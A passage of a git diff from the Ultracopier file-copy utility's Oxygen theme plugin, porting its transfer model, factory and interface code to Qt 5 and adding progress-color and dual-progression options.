+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation.value(*stopId.constBegin());
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+QStringLiteral(", ")+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ }
+ if(returnItem.haveItem && returnItem.progressBar_read!=-1 && returnItem.progressBar_write>returnItem.progressBar_read)
+ {
+ int tempVar=returnItem.progressBar_write;
+ returnItem.progressBar_write=returnItem.progressBar_read;
+ returnItem.progressBar_read=tempVar;
+ }
+ return returnItem;
}
diff --git a/plugins/Themes/Oxygen/TransferModel.h b/plugins/Themes/Oxygen/TransferModel.h
index 913c96a..d2a4a1c 100644
--- a/plugins/Themes/Oxygen/TransferModel.h
+++ b/plugins/Themes/Oxygen/TransferModel.h
@@ -2,6 +2,7 @@
#define TRANSFERMODEL_H
#include <QAbstractTableModel>
+#include <QItemSelectionModel>
#include <QModelIndex>
#include <QVariant>
#include <QList>
@@ -17,75 +18,75 @@
/// \brief model to store the transfer list
class TransferModel : public QAbstractTableModel
{
- Q_OBJECT
+ Q_OBJECT
public:
- /// \brief the transfer item displayed
- struct transfertItem
- {
- quint64 id;
- QString source;
- QString size;
- QString destination;
- };
- /// \brief the transfer item with progression
- struct ItemOfCopyListWithMoreInformations
- {
- quint64 currentProgression;
- ItemOfCopyList generalData;
- ActionTypeCopyList actionType;
- bool custom_with_progression;
- };
- /// \brief returned first transfer item
- struct currentTransfertItem
- {
- quint64 id;
- bool haveItem;
- QString from;
- QString to;
- QString current_file;
- int progressBar_file;
- };
+ /// \brief the transfer item displayed
+ struct TransfertItem
+ {
+ quint64 id;
+ QString source;
+ QString size;
+ QString destination;
+ };
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentReadProgression,currentWriteProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_read,progressBar_write;
+ };
- TransferModel();
+ TransferModel();
- virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
- virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
- virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
- virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
- virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
-
- QList<quint64> synchronizeItems(const QList<returnActionOnCopyList>& returnActions);
- void setFacilityEngine(FacilityInterface * facilityEngine);
+ virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
+ virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
+ virtual bool setData(const QModelIndex& index, const QVariant& value, int role = Qt::EditRole);
- int search(const QString &text,bool searchNext);
- int searchPrev(const QString &text);
+ QList<quint64> synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions);
+ void setFacilityEngine(FacilityInterface * facilityEngine);
- void setFileProgression(QList<ProgressionItem> &progressionList);
+ int search(const QString &text,bool searchNext);
+ int searchPrev(const QString &text);
- currentTransfertItem getCurrentTransfertItem();
+ void setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList);
- quint64 firstId();
+ currentTransfertItem getCurrentTransfertItem() const;
+
+ quint64 firstId() const;
protected:
- QList<transfertItem> transfertItemList;///< To have a transfer list for the user
- QSet<quint64> startId,stopId;///< To show what is started, what is stopped
- QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
- QIcon start,stop;
+ QList<TransfertItem> transfertItemList;///< To have a transfer list for the user
+ QSet<quint64> startId,stopId;///< To show what is started, what is stopped
+ QHash<quint64,ItemOfCopyListWithMoreInformations> internalRunningOperation;///< to have progression and stat
private:
- int loop_size,index_for_loop;
- int sub_loop_size,sub_index_for_loop;
- int row,column;
- quint64 totalFile,totalSize,currentFile;
- FacilityInterface * facilityEngine;
- QString search_text;
- /// \brief index from start the search, decresed by remove before it
- int currentIndexSearch;
- bool haveSearchItem;
- quint64 searchId;
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ int row,column;
+ FacilityInterface * facilityEngine;
+ QString search_text;
+ /// \brief index from start the search, decresed by remove before it
+ int currentIndexSearch;
+ bool haveSearchItem;
+ quint64 searchId;
+ static QIcon *start;
+ static QIcon *stop;
signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,QString fonction,QString text,QString file,int ligne) const;
+ #endif
};
#endif // TRANSFERMODEL_H
diff --git a/plugins/Themes/Oxygen/Variable.h b/plugins/Themes/Oxygen/Variable.h
index 8179c93..8b6119b 100644
--- a/plugins/Themes/Oxygen/Variable.h
+++ b/plugins/Themes/Oxygen/Variable.h
@@ -1,15 +1,17 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
+
//Un-comment this next line to put ultracopier plugin in debug mode
#define ULTRACOPIER_PLUGIN_DEBUG
+#define ULTRACOPIER_VERSION_ULTIMATE
+
#endif // VARIABLE_H
diff --git a/plugins/Themes/Oxygen/documentation.dox b/plugins/Themes/Oxygen/documentation.dox
index 2c0cf64..629330b 100755..100644
--- a/plugins/Themes/Oxygen/documentation.dox
+++ b/plugins/Themes/Oxygen/documentation.dox
@@ -11,12 +11,12 @@
\section mainpage_overview Overview
It's the default interface for Ultracopier. The first version, it's greatly inspirated by Supercopier. But have well evolued.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins/Themes/Oxygen/factory.cpp b/plugins/Themes/Oxygen/factory.cpp
deleted file mode 100644
index 2e90337..0000000
--- a/plugins/Themes/Oxygen/factory.cpp
+++ /dev/null
@@ -1,146 +0,0 @@
-/** \file factory.cpp
-\brief Define the factory core
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-
-#include "factory.h"
-
-Factory::Factory()
-{
- optionsEngine=NULL;
- tempWidget=new QWidget();
- ui=new Ui::options();
- ui->setupUi(tempWidget);
-}
-
-Factory::~Factory()
-{
-}
-
-PluginInterface_Themes * Factory::getInstance()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- PluginInterface_Themes * newInterface=new Themes(
- optionsEngine->getOptionValue("checkBoxShowSpeed").toBool(),facilityEngine,optionsEngine->getOptionValue("moreButtonPushed").toBool()
- );
- connect(newInterface,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- connect(this,SIGNAL(reloadLanguage()),newInterface,SLOT(newLanguageLoaded()));
- return newInterface;
-}
-
-void Factory::setResources(OptionInterface * optionsEngine,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion)
-{
- Q_UNUSED(portableVersion);
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath: "+pluginPath);
- this->facilityEngine=facilityEngine;
- if(optionsEngine!=NULL)
- {
- this->optionsEngine=optionsEngine;
- //load the options
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("checkBoxShowSpeed"),QVariant(false)));
- KeysList.append(qMakePair(QString("moreButtonPushed"),QVariant(false)));
- optionsEngine->addOptionGroup(KeysList);
- connect(optionsEngine,SIGNAL(resetOptions()),this,SLOT(resetOptions()));
- }
- #ifndef __GNUC__
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"__GNUC__ is set");
- #endif
- #ifndef __GNUC__
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"__GNUC__ is set");
- #endif
-}
-
-QWidget * Factory::options()
-{
- if(optionsEngine!=NULL)
- {
- ui->checkBoxShowSpeed->setChecked(optionsEngine->getOptionValue("checkBoxShowSpeed").toBool());
- ui->checkBoxStartWithMoreButtonPushed->setChecked(optionsEngine->getOptionValue("moreButtonPushed").toBool());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
- connect(ui->checkBoxShowSpeed,SIGNAL(toggled(bool)),this,SLOT(checkBoxShowSpeedHaveChanged(bool)));
- connect(ui->checkBoxStartWithMoreButtonPushed,SIGNAL(toggled(bool)),this,SLOT(checkBoxStartWithMoreButtonPushedHaveChanged(bool)));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"return the options");
- return tempWidget;
-}
-
-QIcon Factory::getIcon(const QString &fileName)
-{
- if(fileName=="SystemTrayIcon/exit.png")
- {
- QIcon tempIcon=QIcon::fromTheme("application-exit");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/add.png")
- {
- QIcon tempIcon=QIcon::fromTheme("list-add");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/informations.png")
- {
- QIcon tempIcon=QIcon::fromTheme("help-about");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- if(fileName=="SystemTrayIcon/options.png")
- {
- QIcon tempIcon=QIcon::fromTheme("applications-system");
- if(!tempIcon.isNull())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("use substitution ionc for: %1").arg(fileName));
- return tempIcon;
- }
- }
- return QIcon(":/resources/"+fileName);
-}
-
-void Factory::resetOptions()
-{
- ui->checkBoxShowSpeed->setChecked(true);
- ui->checkBoxStartWithMoreButtonPushed->setChecked(false);
-}
-
-void Factory::checkBoxShowSpeedHaveChanged(bool toggled)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("checkBoxShowSpeed",toggled);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("moreButtonPushed",toggled);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::newLanguageLoaded()
-{
- ui->retranslateUi(tempWidget);
- emit reloadLanguage();
-}
-
-Q_EXPORT_PLUGIN2(interface, Factory);
-
diff --git a/plugins/Themes/Oxygen/factory.h b/plugins/Themes/Oxygen/factory.h
deleted file mode 100644
index f07b0cf..0000000
--- a/plugins/Themes/Oxygen/factory.h
+++ /dev/null
@@ -1,61 +0,0 @@
-/** \file factory.h
-\brief Define the factory, to create instance of the interface
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef FACTORY_H
-#define FACTORY_H
-
-#include <QObject>
-#include <QWidget>
-#include <QMenu>
-#include <QCloseEvent>
-#include <QFile>
-#include <QIcon>
-
-#include "../../../interface/PluginInterface_Themes.h"
-#include "ui_options.h"
-#include "interface.h"
-#include "Environment.h"
-
-namespace Ui {
- class options;
-}
-
-/// \brief Define the factory, to create instance of the interface
-class Factory : public PluginInterface_ThemesFactory
-{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_ThemesFactory)
-public:
- Factory();
- ~Factory();
- /// \brief to return the instance of the copy engine
- PluginInterface_Themes * getInstance();
- /// \brief set the resources, to store options, to have facilityInterface
- void setResources(OptionInterface * optionsEngine,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityEngine,bool portableVersion);
- /// \brief to get the default options widget
- QWidget * options();
- /// \brief to get a resource icon
- QIcon getIcon(const QString &fileName);
-private slots:
- void checkBoxShowSpeedHaveChanged(bool toggled);
- void checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled);
-public slots:
- void resetOptions();
- void newLanguageLoaded();
-private:
- OptionInterface * optionsEngine;
- Ui::options *ui;
- QWidget *tempWidget;
- FacilityInterface * facilityEngine;
-signals:
- void reloadLanguage();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
-};
-
-#endif // FACTORY_H
diff --git a/plugins/Themes/Oxygen/informations.xml b/plugins/Themes/Oxygen/informations.xml
index bf2d1e1..d81313d 100644
--- a/plugins/Themes/Oxygen/informations.xml
+++ b/plugins/Themes/Oxygen/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Oxygen style for Ultracopier]]></description>
<description xml:lang="fr"><![CDATA[Style oxygen pour Ultracopier]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>Oxygen</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/Themes/Oxygen/interface.cpp b/plugins/Themes/Oxygen/interface.cpp
index f01b811..703f3b2 100755..100644
--- a/plugins/Themes/Oxygen/interface.cpp
+++ b/plugins/Themes/Oxygen/interface.cpp
@@ -1,860 +1,1068 @@
/** \file interface.cpp
\brief Define the interface core
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\author alpha_one_x86 */
-#include <QtCore>
#include <QMessageBox>
+#include <QMimeData>
+#include <QScrollArea>
+#include <QColorDialog>
+#include <QRect>
+#include <QPainter>
+#include <cmath>
+#ifdef Q_OS_WIN
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+#endif
#include "interface.h"
#include "ui_interface.h"
-
-Themes::Themes(bool checkBoxShowSpeed,FacilityInterface * facilityEngine,bool moreButtonPushed) :
- ui(new Ui::interfaceCopy())
-{
- this->facilityEngine=facilityEngine;
- ui->setupUi(this);
- ui->TransferList->setModel(&transferModel);
- transferModel.setFacilityEngine(facilityEngine);
- ui->tabWidget->setCurrentIndex(0);
- ui->checkBoxShowSpeed->setChecked(checkBoxShowSpeed);
- currentFile = 0;
- totalFile = 0;
- currentSize = 0;
- totalSize = 0;
- haveError = false;
- this->show();
- menu=new QMenu(this);
- ui->add->setMenu(menu);
- on_checkBoxShowSpeed_toggled(ui->checkBoxShowSpeed->isChecked());
- currentSpeed = 0;
- storeIsInPause = false;
- isInPause(false);
- modeIsForced = false;
- haveStarted = false;
- connect(ui->limitSpeed, SIGNAL(valueChanged(int)), this, SLOT(uiUpdateSpeed()));
- connect(ui->checkBox_limitSpeed,SIGNAL(toggled(bool)), this, SLOT(uiUpdateSpeed()));
-
- connect(ui->actionAddFile,SIGNAL(triggered()),this,SLOT(forcedModeAddFile()));
- connect(ui->actionAddFileToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToCopy()));
- connect(ui->actionAddFileToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFileToMove()));
- connect(ui->actionAddFolderToCopy,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToCopy()));
- connect(ui->actionAddFolderToMove,SIGNAL(triggered()),this,SLOT(forcedModeAddFolderToMove()));
- connect(ui->actionAddFolder,SIGNAL(triggered()),this,SLOT(forcedModeAddFolder()));
-
- //setup the search part
- closeTheSearchBox();
- TimerForSearch = new QTimer(this);
- TimerForSearch->setInterval(500);
- TimerForSearch->setSingleShot(true);
- searchShortcut = new QShortcut(QKeySequence("Ctrl+F"),this);
- searchShortcut2 = new QShortcut(QKeySequence("F3"),this);
- searchShortcut3 = new QShortcut(QKeySequence("Escape"),this);//Qt::Key_Escape
-
- //connect the search part
- connect(TimerForSearch, SIGNAL(timeout()), this, SLOT(hilightTheSearch()));
- connect(searchShortcut, SIGNAL(activated()), this, SLOT(searchBoxShortcut()));
- connect(searchShortcut2, SIGNAL(activated()), this, SLOT(on_pushButtonSearchNext_clicked()));
- connect(ui->pushButtonCloseSearch, SIGNAL(clicked()), this, SLOT(closeTheSearchBox()));
- connect(searchShortcut3, SIGNAL(activated()), this, SLOT(closeTheSearchBox()));
-
- //reload directly untranslatable text
- newLanguageLoaded();
-
- //unpush the more button
- ui->moreButton->setChecked(moreButtonPushed);
- on_moreButton_toggled(false);
-
- /// \note important for drag and drop, \see dropEvent()
- setAcceptDrops(true);
-
- // try set the OS icon
- QIcon tempIcon;
-
- tempIcon=QIcon::fromTheme("application-exit");
- if(!tempIcon.isNull())
- {
- ui->cancelButton->setIcon(tempIcon);
- ui->pushButtonCloseSearch->setIcon(tempIcon);
- ui->shutdown->setIcon(tempIcon);
- }
-
- tempIcon=QIcon::fromTheme("edit-delete");
- if(!tempIcon.isNull())
- ui->del->setIcon(tempIcon);
-
- tempIcon=QIcon::fromTheme("media-playback-pause");
- if(!tempIcon.isNull())
- {
- player_pause=tempIcon;
- ui->pauseButton->setIcon(tempIcon);
- }
- else
- player_pause=QIcon(":/resources/player_pause.png");
-
- tempIcon=QIcon::fromTheme("media-playback-play");
- if(!tempIcon.isNull())
- player_play=tempIcon;
- else
- player_play=QIcon(":/resources/player_play.png");
-
- tempIcon=QIcon::fromTheme("media-skip-forward");
- if(!tempIcon.isNull())
- ui->skipButton->setIcon(tempIcon);
-
- tempIcon=QIcon::fromTheme("edit-find");
- if(!tempIcon.isNull())
- ui->searchButton->setIcon(tempIcon);
-
- tempIcon=QIcon::fromTheme("document-open");
- if(!tempIcon.isNull())
- ui->importTransferList->setIcon(tempIcon);
-
- tempIcon=QIcon::fromTheme("document-save");
- if(!tempIcon.isNull())
- ui->exportTransferList->setIcon(tempIcon);
-
- tempIcon=QIcon::fromTheme("list-add");
- if(!tempIcon.isNull())
- {
- ui->add->setIcon(tempIcon);
- ui->actionAddFile->setIcon(tempIcon);
- ui->actionAddFileToCopy->setIcon(tempIcon);
- ui->actionAddFileToMove->setIcon(tempIcon);
- ui->actionAddFolder->setIcon(tempIcon);
- ui->actionAddFolderToCopy->setIcon(tempIcon);
- ui->actionAddFolderToMove->setIcon(tempIcon);
- }
-
- shutdown=facilityEngine->haveFunctionality("shutdown");
- ui->shutdown->setVisible(shutdown);
-
- selectionModel=ui->TransferList->selectionModel();
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&transferModel,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
-
- updateSpeed();
+#include "ThemesFactory.h"
+
+QIcon Themes::player_play;
+QIcon Themes::player_pause;
+QIcon Themes::tempExitIcon;
+QIcon Themes::editDelete;
+QIcon Themes::skinIcon;
+QIcon Themes::editFind;
+QIcon Themes::documentOpen;
+QIcon Themes::documentSave;
+QIcon Themes::listAdd;
+bool Themes::iconLoaded=false;
+
+// The cmath header from MSVC does not contain round()
+#if (defined(_WIN64) || defined(_WIN32)) && defined(_MSC_VER)
+inline double round(double d) {
+ return floor( d + 0.5 );
}
-
-Themes::~Themes()
+#endif
+
+Themes::Themes(const bool &alwaysOnTop,
+ const bool &showProgressionInTheTitle,
+ const QColor &progressColorWrite,
+ const QColor &progressColorRead,
+ const QColor &progressColorRemaining,
+ const bool &showDualProgression,
+ const quint8 &comboBox_copyEnd,
+ const bool &speedWithProgressBar,
+ const qint32 &currentSpeed,
+ const bool &checkBoxShowSpeed,
+ FacilityInterface * facilityEngine,
+ const bool &moreButtonPushed,
+ const bool &minimizeToSystray,
+ const bool &startMinimized) :
+ ui(new Ui::interfaceCopy()),
+ uiOptions(new Ui::themesOptions())
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- disconnect(ui->actionAddFile);
- disconnect(ui->actionAddFolder);
- delete selectionModel;
- delete menu;
+ this->facilityEngine=facilityEngine;
+ ui->setupUi(this);
+ uiOptions->setupUi(ui->optionsTab);
+
+ currentFile = 0;
+ totalFile = 0;
+ currentSize = 0;
+ totalSize = 0;
+ getOldProgression = 200;
+ haveError = false;
+ stat = status_never_started;
+ modeIsForced = false;
+ haveStarted = false;
+ storeIsInPause = false;
+ durationStarted = false;
+ if(startMinimized)
+ this->showMinimized();
+
+ this->progressColorWrite = progressColorWrite;
+ this->progressColorRead = progressColorRead;
+ this->progressColorRemaining= progressColorRemaining;
+ this->currentSpeed = currentSpeed;
+ uiOptions->showProgressionInTheTitle->setChecked(showProgressionInTheTitle);
+ uiOptions->speedWithProgressBar->setChecked(speedWithProgressBar);
+ uiOptions->showDualProgression->setChecked(showDualProgression);
+ uiOptions->startMinimized->setEnabled(false);
+ uiOptions->alwaysOnTop->setChecked(alwaysOnTop);
+ uiOptions->minimizeToSystray->setChecked(minimizeToSystray);
+ //uiOptions->setupUi(ui->tabWidget->widget(ui->tabWidget->count()-1));
+ uiOptions->labelStartWithMoreButtonPushed->setVisible(false);
+ uiOptions->checkBoxStartWithMoreButtonPushed->setVisible(false);
+ uiOptions->label_Slider_speed->setVisible(false);
+ uiOptions->SliderSpeed->setVisible(false);
+ uiOptions->label_SpeedMaxValue->setVisible(false);
+ uiOptions->comboBox_copyEnd->setCurrentIndex(comboBox_copyEnd);
+ speedWithProgressBar_toggled(speedWithProgressBar);
+ showDualProgression_toggled(showDualProgression);
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ uiOptions->progressColorWrite->setIcon(pixmap);
+ pixmap.fill(progressColorRead);
+ uiOptions->progressColorRead->setIcon(pixmap);
+ pixmap.fill(progressColorRemaining);
+ uiOptions->progressColorRemaining->setIcon(pixmap);
+
+ transferModel.setFacilityEngine(facilityEngine);//need be before ui->TransferList->setModel(&transferModel); due to call of TransferModel::headerData()
+ ui->TransferList->setModel(&transferModel);
+ ui->tabWidget->setCurrentIndex(0);
+ uiOptions->toolBox->setCurrentIndex(0);
+ uiOptions->checkBoxShowSpeed->setChecked(checkBoxShowSpeed);
+ menu=new QMenu(this);
+ ui->add->setMenu(menu);
+
+ //connect the options
+ checkBoxShowSpeed_toggled(uiOptions->checkBoxShowSpeed->isChecked());
+ connect(uiOptions->checkBoxShowSpeed,&QCheckBox::stateChanged,this,&Themes::checkBoxShowSpeed_toggled);
+ connect(uiOptions->speedWithProgressBar,&QCheckBox::stateChanged,this,&Themes::speedWithProgressBar_toggled);
+ connect(uiOptions->showProgressionInTheTitle,&QCheckBox::stateChanged,this,&Themes::updateTitle);
+ connect(uiOptions->showDualProgression,&QCheckBox::stateChanged,this,&Themes::showDualProgression_toggled);
+ connect(uiOptions->progressColorWrite,&QAbstractButton::clicked,this,&Themes::progressColorWrite_clicked);
+ connect(uiOptions->progressColorRead, &QAbstractButton::clicked,this,&Themes::progressColorRead_clicked);
+ connect(uiOptions->progressColorRemaining,&QAbstractButton::clicked,this,&Themes::progressColorRemaining_clicked);
+ connect(uiOptions->alwaysOnTop,&QAbstractButton::clicked,this,&Themes::alwaysOnTop_clickedSlot);
+
+ isInPause(false);
+
+ connect(uiOptions->limitSpeed, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Themes::uiUpdateSpeed);
+ connect(uiOptions->checkBox_limitSpeed,&QAbstractButton::toggled, this, &Themes::uiUpdateSpeed);
+
+ connect(ui->actionAddFile,&QAction::triggered,this,&Themes::forcedModeAddFile);
+ connect(ui->actionAddFileToCopy,&QAction::triggered,this,&Themes::forcedModeAddFileToCopy);
+ connect(ui->actionAddFileToMove,&QAction::triggered,this,&Themes::forcedModeAddFileToMove);
+ connect(ui->actionAddFolderToCopy,&QAction::triggered,this,&Themes::forcedModeAddFolderToCopy);
+ connect(ui->actionAddFolderToMove,&QAction::triggered,this,&Themes::forcedModeAddFolderToMove);
+ connect(ui->actionAddFolder,&QAction::triggered,this,&Themes::forcedModeAddFolder);
+ connect(ui->exportErrorToTransferList,&QToolButton::triggered,this,&Themes::exportErrorIntoTransferList);
+
+ //setup the search part
+ closeTheSearchBox();
+ TimerForSearch = new QTimer(this);
+ TimerForSearch->setInterval(500);
+ TimerForSearch->setSingleShot(true);
+ searchShortcut = new QShortcut(QKeySequence(QKeySequence::Find),this);
+ searchShortcut2 = new QShortcut(QKeySequence(QKeySequence::FindNext),this);
+ searchShortcut3 = new QShortcut(QKeySequence(Qt::Key_Escape),this);
+
+ //connect the search part
+ connect(TimerForSearch, &QTimer::timeout, this, &Themes::hilightTheSearchSlot);
+ connect(searchShortcut, &QShortcut::activated, this, &Themes::searchBoxShortcut);
+ connect(searchShortcut2, &QShortcut::activated, this, &Themes::on_pushButtonSearchNext_clicked);
+ connect(ui->pushButtonCloseSearch, &QPushButton::clicked, this, &Themes::closeTheSearchBox);
+ connect(searchShortcut3, &QShortcut::activated, this, &Themes::closeTheSearchBox);
+
+ //reload directly untranslatable text
+ newLanguageLoaded();
+
+ //unpush the more button
+ ui->moreButton->setChecked(moreButtonPushed);
+ on_moreButton_toggled(moreButtonPushed);
+
+ /// \note important for drag and drop, \see dropEvent()
+ setAcceptDrops(true);
+
+ // try set the OS icon
+ if(!iconLoaded)
+ {
+ iconLoaded=true;
+ tempExitIcon=QIcon::fromTheme(QStringLiteral("application-exit"));
+ editDelete=QIcon::fromTheme(QStringLiteral("edit-delete"));
+ player_pause=QIcon::fromTheme(QStringLiteral("media-playback-pause"));
+ if(player_pause.isNull())
+ player_pause=QIcon(QStringLiteral(":/Themes/Oxygen/resources/player_pause.png"));
+ player_play=QIcon::fromTheme(QStringLiteral("media-playback-play"));
+ if(player_play.isNull())
+ player_play=QIcon(QStringLiteral(":/Themes/Oxygen/resources/player_play.png"));
+ skinIcon=QIcon::fromTheme(QStringLiteral("media-skip-forward"));
+ editFind=QIcon::fromTheme(QStringLiteral("edit-find"));
+ documentOpen=QIcon::fromTheme(QStringLiteral("document-open"));
+ documentSave=QIcon::fromTheme(QStringLiteral("document-save"));
+ listAdd=QIcon::fromTheme(QStringLiteral("list-add"));
+ }
+ if(!tempExitIcon.isNull())
+ {
+ ui->cancelButton->setIcon(tempExitIcon);
+ ui->pushButtonCloseSearch->setIcon(tempExitIcon);
+ ui->shutdown->setIcon(tempExitIcon);
+ }
